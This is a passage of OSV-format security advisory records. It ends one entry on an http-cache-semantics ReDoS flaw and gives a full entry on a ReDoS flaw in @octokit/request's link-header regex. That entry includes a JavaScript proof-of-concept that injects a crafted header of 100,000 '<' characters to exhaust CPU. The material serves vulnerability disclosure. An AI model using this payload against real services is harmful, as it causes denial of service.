  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kornelski/http-cache-semantics"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kornelski/http-cache-semantics/blob/master/index.js%23L83"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230622-0008"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3253332"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-HTTPCACHESEMANTICS-3248783"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http-cache-semantics vulnerable to Regular Expression Denial of Service"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-beta.1"
            },
            {
              "fixed": "9.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-14T18:00:18Z",
    "nvd_published_at": "2025-02-14T20:15:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n  const response = await originalFetch(url, options);\n  const fakeHeaders = new Headers(response.headers);\n  fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n  fakeHeaders.set(\"deprecation\", \"true\");\n  return new Response(response.body, {\n    status: response.status,\n    statusText: response.statusText,\n    headers: fakeHeaders\n  });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n  .then(response =\u003e {\n    // console.log(\"[+] Response received:\", response);\n  })\n  .catch(error =\u003e {\n    // console.error(\"[-] Error:\", error);\n  });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
  "id": "GHSA-rmvr-2pp2-xj38",
  "modified": "2026-01-16T17:29:36Z",
  "published": "2025-02-14T18:00:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octokit/request.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}